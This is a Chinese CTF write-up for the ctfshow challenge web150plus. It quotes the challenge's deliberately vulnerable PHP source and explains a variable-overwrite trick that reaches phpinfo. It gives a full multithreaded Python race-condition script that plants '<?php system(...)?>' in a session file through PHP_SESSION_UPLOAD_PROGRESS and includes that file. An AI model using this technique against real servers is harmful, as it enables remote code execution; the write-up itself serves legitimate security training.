web150plus笔记(ban了log+session⽂件包含)
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-19 07:12:57 */ include("flag.php"); error_reporting(0); highlight_file(__FILE__); class CTFSHOW{ private $username; private $password; private $vip; private $secret; function __construct(){ $this->vip = 0; $this->secret = $flag; } function __destruct(){ echo $this->secret; } public function isVIP(){ return $this->vip?TRUE:FALSE; } } function __autoload($class){ if(isset($class)){ $class(); } } #过滤字符 $key = $_SERVER['QUERY_STRING']; if(preg_match('/\_| |\[|\]|\?/', $key)){ die("error"); } $ctf = $_POST['ctf']; extract($_GET); if(class_exists($__CTFSHOW__)){ echo "class is exists!"; } if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){ include($ctf); }
题⽬说修复了⾮预期,然后能明显看到ctf⾥⾯不能有log,正好就是修复了⽇志包含
这⾥就联想到了竞争(session⽂件包含),但是现在ctfshow设了限制很难做到成功竞争。
这个题一点点小坑__autoload()函数不是类里面的
__autoload — 尝试加载未定义的类
最后构造?..CTFSHOW..=phpinfo就可以看到phpinfo信息啦
原因是..CTFSHOW..解析变量成__CTFSHOW__然后进行了变量覆盖,因为CTFSHOW是类就会使用
__autoload()函数方法,去加载,因为等于phpinfo就会去加载phpinfo
接下来就去getshell啦
exp :https://github.com/vulhub/vulhub/blob/master/php/inclusion/exp.py
在上一题的基础上ban了log字符,所以不能使用日志包含,但发现可以使用session进行文件包含,知识点忘记的可以看前面写的web82
web82写的脚本改改直接用
web82写的脚本改改直接用
#-- coding:UTF-8 -- # Author:dota_st # Date:2021/3/7 14:57 # blog: www.wlhhlc.top import io import requests import threading url = 'http://7eda1482-7964-4319-96d3-1689b4a62307.chall.ctf.show:8080/' def write(session): data = { 'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac f*");?>' } while True: f = io.BytesIO(b'a' * 1024 * 10) response = session.post(url,cookies={'PHPSESSID': 'flag'}, data=data, files={'file': ('dota.txt', f)}) def read(session): data = { 'ctf':'/tmp/sess_flag' } while True: response = session.post(url+'?isVIP=1',data=data) if 'ctfshow' in response.text: print(response.text) break else: print('retry') if __name__ == '__main__': session = requests.session() for i in range(30): threading.Thread(target=write, args=(session,)).start() for i in range(30): threading.Thread(target=read, args=(session,)).start()
https://4d8c92cf-eb68-4656-b476-384bb7c77efe.challenge.ctf.show/?..CTFSHOW..=phpinfo
然后搜ctfshow{即可,因为写⼊了环境

 
                    
                 
                
            
         浙公网安备 33010602011771号
浙公网安备 33010602011771号